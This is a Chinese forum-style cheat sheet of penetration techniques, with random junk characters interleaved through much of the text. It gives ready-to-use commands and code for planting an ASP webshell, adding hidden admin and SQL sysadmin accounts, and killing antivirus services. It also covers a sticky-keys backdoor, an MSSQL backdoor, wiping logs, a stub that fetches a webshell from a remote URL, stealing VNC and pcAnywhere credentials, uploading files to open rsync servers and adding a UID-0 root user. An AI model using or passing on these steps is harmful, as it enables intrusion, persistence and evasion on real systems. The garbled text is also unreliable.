渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
. h7 h0 w$ C, R" D1 C! k# W        
; _3 G/ R- x2 G
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
  l4 E& e# }7 x, \
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
/ E3 b# y  b' Q. U9 |* j
("IIS://LocalHost/W3SVC")
* y5 I8 b0 y# w$ E2 i! ^For Each obj3w In objservice
! y- L" d" Q/ e5 N        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

6 V6 f& o! N) `% y* r<> 0 Then WScript.Quit (1)
: a& R. Y* Q. ~3 R                WScript.Echo Chr(10) & "[" &
/ Z* J4 l: r% _2 R7 C5 y8 ]
# @6 _2 T7 x7 |OService.ServerComment & "]"
0 D6 I8 ?  [$ f% d) e                For Each Binds In OService.ServerBindings
     
( p8 i4 A7 a: k. `6 w
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
% d2 _$ q7 g$ q5 A& X& `                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
2 ]% h% u& {. e" X+ j
         WScript.Echo "ath            : " & VDirObj.Path
- P+ U8 c& y3 j- D- k        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
5 b8 \7 w. T4 B( LWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
/ j* Q" d8 n1 Z8 c7 U; W- m: wurl/wp-content/plugins/akismet/hello.php
7 ^7 d6 T  ^$ g2 W4 s. |——————————————————————
  q7 {8 x! C5 w# ]* V1 nphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
. B0 }) J4 _( Q- h% R  kphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
, O% ^; {4 v: l& U5 B- C网站可能目录(注：一般是虚拟主机类）
# R4 Z7 \* r  ldata/htdocs.网站/网站/
————————————————————
# `9 ~& b5 H  o2 s; pCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
- X9 Y" U: b- {% wnetsh ras ip show config #查看VPN分配IP的方式
4 @8 Q/ M$ b7 M; N$ cnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
* R9 d" M& V8 L8 C! Z2 G) onetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
9 p" N' B* o7 j" \3 d! x$ g* e需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
* A, q: I5 L8 [% qEXEC sp_addsrvrolemember 'test, 'sysadmin'
  h6 j6 E7 a0 |5 A+ k( h1 j0 t0 b然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
" f0 P5 r# C% }9 B- b) \
另类的加用户方法
3 Y! R/ j" c3 }* k+ J; L, }在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
; O% ?/ J& z$ z3 @4 Y/ Wvar o=new ActiveXObject( "Shell.Users" );
8 A1 |# J: A8 x. a9 h7 [2 yz=o.create("test") ;
5 E& F4 C7 z/ u, f% n0 cz.changePassword("123456","")
) s# M8 T. q" Y: U$ o7 yz.setting("AccountType")=3;
) ^# T& x/ ]7 U8 r# b( N
vbs:
& k0 i/ Z2 R+ |Set   o=CreateObject( "Shell.Users" )
! e+ |% m$ D% z. H7 T' A# s4 s  HSet z=o.create("test")
+ Y1 W' Y! o+ w; l" iz.changePassword "123456",""
z.setting("AccountType")=3
7 b1 {& x/ U2 E% ?——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
5 ?' S/ ]9 P4 M0 S5 c! d8 Qcacls c: /e /t /g everyone:F           #c盘everyone权限
4 y, Z7 j) n: X& L4 Zcacls "目录" /d everyone               #everyone不可读，包括admin
7 B. U9 F( B) D! t& z————————以下配合PR更好————
; U/ p( t+ S( E6 h7 K9 `3389相关
& R7 s- D4 q- `+ N# Ja、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
' `7 Z9 m) l% l! G5 ec、终端服务器超出了最大允许连接
! M4 O, ]( N. i! I& u6 HXP 运行mstsc /admin
& u" P* F! |! M' ~! r2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
9 W) ?4 N3 |$ x' P3 f7 ]# X9 Rnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
! f) a6 C- k7 E3 s! unet stop "Symantec Event Manager" /y
: H$ S4 g$ F7 a: vnet stop "System Event Notification" /y
$ o' `" p# Z; D2 V* B; W6 Snet stop "Symantec Settings Manager" /y

' [6 d3 j4 @- s0 W; }! g7 L- s( Y卖咖啡：net stop "McAfee McShield"
————————————————————
( }& E, T2 _2 e6 F* P
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
; l4 v# l. ]' c0 c: V, Fcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
+ \3 G, b6 c, J1 R& _/ o; B2 c3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
( @* e8 k' R4 p* R6 s1 cMSSQL扩展后门：
/ D' t2 Q7 d! yUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
% ~: n' c! e- I; [# J2 W9 M; QGRANT exec On xp_helpsystem TO public;
———————————————————————
6 c2 P5 x  T# a$ P日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
/ Y7 N3 h* r0 U+ Z2 l% ^. K3 e5 tex011120.log / ex011121.log / ex011124.log三个文件，
, M  U) e$ n0 M& q直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
) D1 c4 m/ r  |/ K用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

4 m' q5 H$ \% O/ B9 j! K9 |0 ?MSSQL查询分析器连接记录清除：
8 \0 K. r& t& zMSSQL 2000位于注册表如下：
0 F+ p" C8 N4 r( Q/ L' ^6 e5 gHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
4 l& K, a4 x$ O8 |, O% Y" c) o找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
( w1 Q6 }" W9 ]  S* n3 }& i# I
7 W: f3 E4 ?+ LServer\90\Tools\Shell\mru.dat
- e9 z% v, O  A# Z5 b( t0 \4 A  o1 T—————————————————————————
$ M4 r% F$ Z% a% \8 p5 K( ]0 T- d' Y防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
5 d- d. c0 p9 N, \+ Z; t
" o! ?- {; H' L* Q. W! m: V8 m<%
& k0 K$ _- ~4 C6 k% FSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
7 b: X1 I' i8 _2 t6 u. W  B/ U/ cDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
7 I5 f1 l1 r4 ^' I9 `5 z9 b  rWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
& ]+ N5 V  E+ \.Send
GetRemoteData = .ResponseBody
# t/ |* I, d1 ~, j* L" G0 A# KEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
( W+ x  \- M# }  TWith Ads
7 Y8 o8 m; W! D% ^/ W# i.Type = 1
1 U; j* O% B7 g4 s5 ~9 x. T5 B4 h.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
7 p+ ~" G. Z+ ]5 r  B" \' J, t.Cancel()
) Q# K! \  \: P$ M5 f' ~* m. P.Close()
9 G* S# n9 z9 V$ @End With
2 h. `- y) |: N$ Q0 Y/ TSet Ads=nothing
End Sub

4 }; H2 s: T- Z, F' z% B3 neWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
2 R* o5 T9 D9 G- U6 M9 ]%>
2 @) ]1 c% T. J3 A  w
+ g- p  t2 q& [' hVNC提权方法:
  N. b' t0 w& ?利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
% L% P$ y- `2 E& Q( V& ^5 K: f* Vregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
. Q( h/ B% b' aRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
7 |3 B+ s8 z: s( p. T; ?HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
5 C* B, W/ N6 s9 E然后用HASH版连接。
# D8 j( ^1 _: G- H/ U" _! D0 q0 ]如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
6 `' J1 z% e5 R0 [Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
8 u( d/ ]5 v* n- q+ c搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
! g# B) ]$ }! U* P9 \" VWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
, E. m, t( Z* r% [. K2 ~) x来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
& q% Q8 v$ \4 c) O' A没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
" L7 E4 p6 f! O& a% T% Z
1433 SA点构建注入点。
; E+ S! e! b9 }: h8 l<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
4 V& n. L+ V5 }- Y  m5 {# g# BstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

9 O; o8 R( G0 _: P. Y";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
2 ^9 Y. y: w1 j& v# g8 iconn.open strCon
dim rs,strSQL,id
3 G9 z9 b/ D. C9 aset rs=server.createobject("ADODB.recordset")
' n, w( M& D( g8 zid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
6 h0 k  b3 ^( L% D%>
: D* Y) K* ?4 n9 W( y+ I复制代码
5 {( u. j3 P4 \* Q******liunx 相关******
1 q1 c) f2 I8 ~9 \/ O; [1 c( I一.ldap渗透技巧
# k+ ~$ G1 v, D- D5 ]; T1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
- Y* \+ x9 G# J0 M2 s1 {/ U
2.less /etc/ldap.conf
. G, g6 A* J) a5 W! {base ou=People,dc=unix-center,dc=net
- Q5 [, q' @+ _/ j0 W1 V" ]9 t找到ou,dc,dc设置
4 G  o3 V/ g# o" i) \- }% P
7 ~" K" ], _' w3.查找管理员信息
匿名方式
0 k+ N' Z2 F: f5 B$ tldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. x+ i. K1 ?/ e1 j/ e6 j2 J
! |& ]7 Z) f9 [7 X: P"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ y. N- g* a' n  V有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! G0 z4 L% e2 e0 x

4.查找10条用户记录
3 F# g  R! x9 v; x1 y/ H& {ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
1 r7 @7 N6 N5 E
! U+ s2 ^( i& b. b9 c实战:
+ G( B' l/ }3 ]7 \5 l0 p- h1.cat /etc/nsswitch
6 E- Q, n/ t5 \" c" A5 P看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
7 t3 K) L" K0 u8 @  h% r& B
0 c1 X7 ^7 m2 e- I3.查找管理员信息
匿名方式
3 ^6 U9 o" ?9 M' x% U; eldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

0 i3 c1 `% m1 e+ R$ h% i"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 e7 t+ T7 p# r2 C- Z& P$ H6 I有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 @4 I# `5 S* ~0 s- X# y
# ]2 u4 Z$ T2 t' N8 L1 F5 F9 Q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
( L6 e  a1 W: m
渗透实战:
: r) G4 b* u5 A$ d, u1.返回所有的属性
$ P4 a) e* ]( D" J+ z: Nldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
8 U; e# m8 |. i: t& {2 A& h5 eversion: 1
dn: dc=ruc,dc=edu,dc=cn
8 X3 T  j3 D% J! S5 odc: ruc
objectClass: domain
* N5 v% e& M9 w6 p2 n1 J6 p
dn: uid=manager,dc=ruc,dc=edu,dc=cn
+ f, ~) k8 ]2 Auid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
6 V: P6 c# n& f0 ~5 `9 B  ^2 qobjectClass: person
objectClass: top
sn: manager
- G$ o, E. o9 i& d, p9 f6 z: ?cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
, P# @0 g/ j8 T- ruid: superadmin
. v1 ?" k; s8 Y5 X1 eobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
9 K" p, Q) O' }# m8 @' \' t! N/ X; |sn: superadmin
cn: superadmin
$ F) o7 u  q1 T0 r
dn: uid=admin,dc=ruc,dc=edu,dc=cn
  Z! h  M& `" V% F8 W0 ]uid: admin
objectClass: inetOrgPerson
8 O) f. e! l: I  b, TobjectClass: organizationalPerson
% z1 ?( }: Q3 c( X0 V3 {objectClass: person
objectClass: top
sn: admin
8 ^  s; V! x  [2 |cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
6 E' e8 t) D0 K, n/ QobjectClass: top
objectClass: person
, ?" {8 T5 @3 ~* s7 M$ s* N* [objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

) d& Q- G( k1 s2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
& z9 R4 c9 W( ?2 A
# Q: T) W; }" jmore
version: 1
3 c2 _) X8 n( D8 s4 E" H$ Ddn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

4 R+ g5 W3 y. f. v/ d- ]. B3.查找
* A1 X3 P2 E; Z8 b" O; Nbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
0 ?! ?& `% Z7 L4 i3 f8 H) hnamingContexts: dc=ruc,dc=edu,dc=cn
/ b% [, o& ~# E! }( n" t# CsupportedExtension: 2.16.840.1.113730.3.5.7
, r) S# X- K4 N5 r  YsupportedExtension: 2.16.840.1.113730.3.5.8
. \7 d$ v: S8 O# z& T/ }' ysupportedExtension: 1.3.6.1.4.1.4203.1.11.1
* _: Z, m% F1 v0 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
9 x$ G& G' U5 k# hsupportedExtension: 2.16.840.1.113730.3.5.5
! Z, _7 f, d: k7 Q. ?6 \+ t& JsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
1 m* {9 L; w: ~5 @0 F, m! f3 z4 E0 NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
7 e( t( e6 F3 f! lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
' V! o& ?4 J+ _7 R: ]- isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
0 D# s8 l2 a! T( |% K6 r- @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
6 R' z6 g; @9 _' S* D0 M0 ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
' m5 a  G! m# XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
$ ?1 w! ]/ c# f  BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
7 y( V4 t! L+ p$ d5 z( isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
' q5 `0 r6 m0 l# FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
# R! P4 w& ~# C# O. @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
& i4 {% _% A4 L2 L* LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
2 d; [6 l& \+ gsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
# w# J  g6 x; V' MsupportedControl: 2.16.840.1.113730.3.4.3
( Z; }) z) ?, N7 F" WsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
4 K: S+ |0 M+ z* v( h8 u. l; PsupportedControl: 1.2.840.113556.1.4.473
. a8 I1 w! I0 |8 UsupportedControl: 2.16.840.1.113730.3.4.9
) ^2 m6 Z; }9 `. W8 ]supportedControl: 2.16.840.1.113730.3.4.16
' \8 M1 Z/ z: F+ SsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
, W5 `8 d3 y3 [* [- ^0 ~  o. u0 TsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
" h; ^! ?% `- x: tsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
8 y2 U4 m9 @/ UsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
2 N9 o6 e5 w. O5 asupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
3 U, c- ^6 X+ @, n' k3 w  M$ ksupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
6 Z6 p) c' Q4 _: ?& J: tsupportedSASLMechanisms: EXTERNAL
( A: g$ b; M! U2 X  ?4 {supportedSASLMechanisms: DIGEST-MD5
- e* d9 [9 b4 s5 X+ SsupportedLDAPVersion: 2
! N5 V% {0 B( g- lsupportedLDAPVersion: 3
  }# S/ V$ H" \; U  C$ d4 cvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
) B/ P/ g, n% [% u$ b& pdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
# o+ R; X) m1 s! B' b1 `9 X' ^) WsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
# j7 Z; s% E1 d8 QsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
+ N3 a( T/ x  R( A, KsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
, e. W* ^1 c/ G; u/ `supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
4 J8 [/ {% R; @! ]- p$ ^supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
7 o/ G) s' u! o8 e! esupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
1 Q+ v5 g( I* d' N9 lsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
7 o( p- a( l0 x+ S7 EsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
' r% u8 {6 X- a3 R1 ysupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
5 Q$ E0 a' k  Q& S; y9 x, csupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
8 ^$ h1 i4 E# O( J  R& m6 @8 X0 _supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
9 l) K: S5 P9 MsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
1 y, i) w# h/ h, Y  s8 J* z0 CsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
- w+ j" d8 G* XsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
% n6 B. b+ X2 NsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
( o/ n: j# X/ U! e* GsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
: \8 @2 G2 t1 H1 b, ]( `supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
! L4 X8 C5 P. p& ^2 G" L. ksupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
2 l: b+ t7 p; vsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
% t/ R2 m6 T& p) r/ GsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
1 p/ d$ s+ i7 q: C9 NsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
+ Z* W* I) i( U) ?supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
: X. C$ x8 C4 QsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
) j% a0 D5 I. C; UsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
- d5 S1 ^0 r9 h1 m/ esupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
3 q4 r4 {$ B" \/ b7 l" U7 k8 b2 qsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
6 Z" \( f, r+ w6 N0 j/ E; u# s————————————
2. NFS渗透技巧
; F- u3 A, k" m* x* ?1 b3 c' v# sshowmount -e ip
列举IP
0 M/ s1 x, W. Y+ j: [4 z——————
3.rsync渗透技巧
7 w0 Q9 [# T$ K0 a6 i" |+ E8 K1.查看rsync服务器上的列表
- O' L! X; S2 Frsync 210.51.X.X::
finance
$ G& l/ J  w/ r% U% m  uimg_finance
auto
+ v2 [7 _! k8 S4 ~, A0 {img_auto
html_cms
, a( _8 X" O& y8 Z% o: N4 vimg_cms
+ V3 [" V- N" B* D# j. C- `ent_cms
0 ]* @* `8 a+ kent_img
3 M7 s! g: c  Dceshi
res_img
+ a$ u& |9 E# W% X  a. hres_img_c2
chip
7 m  |) n) d) dchip_c2
8 ?9 |/ Z' s; g$ r- f. v# ^% I. `ent_icms
* x& F$ i" Y- D7 P, q, a0 mgames
gamesimg
media
* x# Y" A  d: [1 ^( F4 ]; }mediaimg
fashion
res-fashion
res-fo
: |+ u. ^* A  }& K# Z. Etaobao-home
2 g( K; N. }+ k( l& W6 O( nres-taobao-home
house
% Z3 U  N  ^( C/ e) O" C; j. Y1 qres-house
res-home
res-edu
res-ent
res-labs
! `: D" N  Y1 g& gres-news
res-phtv
+ ~" V6 P9 t3 f, T9 H4 ores-media
/ H/ o" D$ R0 M4 M/ ~& Z: j' ~9 vhome
edu
news
  v7 T# N2 P, y! E! zres-book
) }* t6 v' v6 g$ s8 @
& c! ?; C" v1 g! a- N7 F" p看相应的下级目录(注意一定要在目录后面添加上/)
3 k" \% l. j2 w* _1 }& U: @5 P
: r! [+ [0 R' k. ~5 v' |
& Z) I& V! A8 I; r/ U/ k- `rsync 210.51.X.X::htdocs_app/
; {8 `3 B" g) k/ ^rsync 210.51.X.X::auto/
$ W+ |. Y5 Y+ N* h! w3 H9 R+ I7 f1 nrsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

; u) a/ o$ J, L5 u4 {! K3.向上更新rsync文件(成功上传,不会覆盖)
) q, I! }) }# \% crsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
% _2 ^2 g: X  {4 X; A4 Chttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
1 [* U. {" a# z- X4 ]% ?nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
1 u* J/ z% Q/ _% BGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
' C! u& j2 T9 X% ?! ~' E% \
, f# Z+ L2 h) [" k六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
, v8 W. j/ b7 J
# e3 h! |# q$ s9 |15&catid=32:languages&Itemid=47

' `- }+ m$ k$ p9 }3 B6 M重新设置密码
index.php?option=com_user&view=reset&layout=confirm
4 v9 l+ ^) J4 X* r% t- @3 T3 r
" p( N* e6 J" S0 f七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
; D# x7 o+ a* m* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
6 B$ P# T! {% k* f# J" M; }* [argp@julius ~]$ id
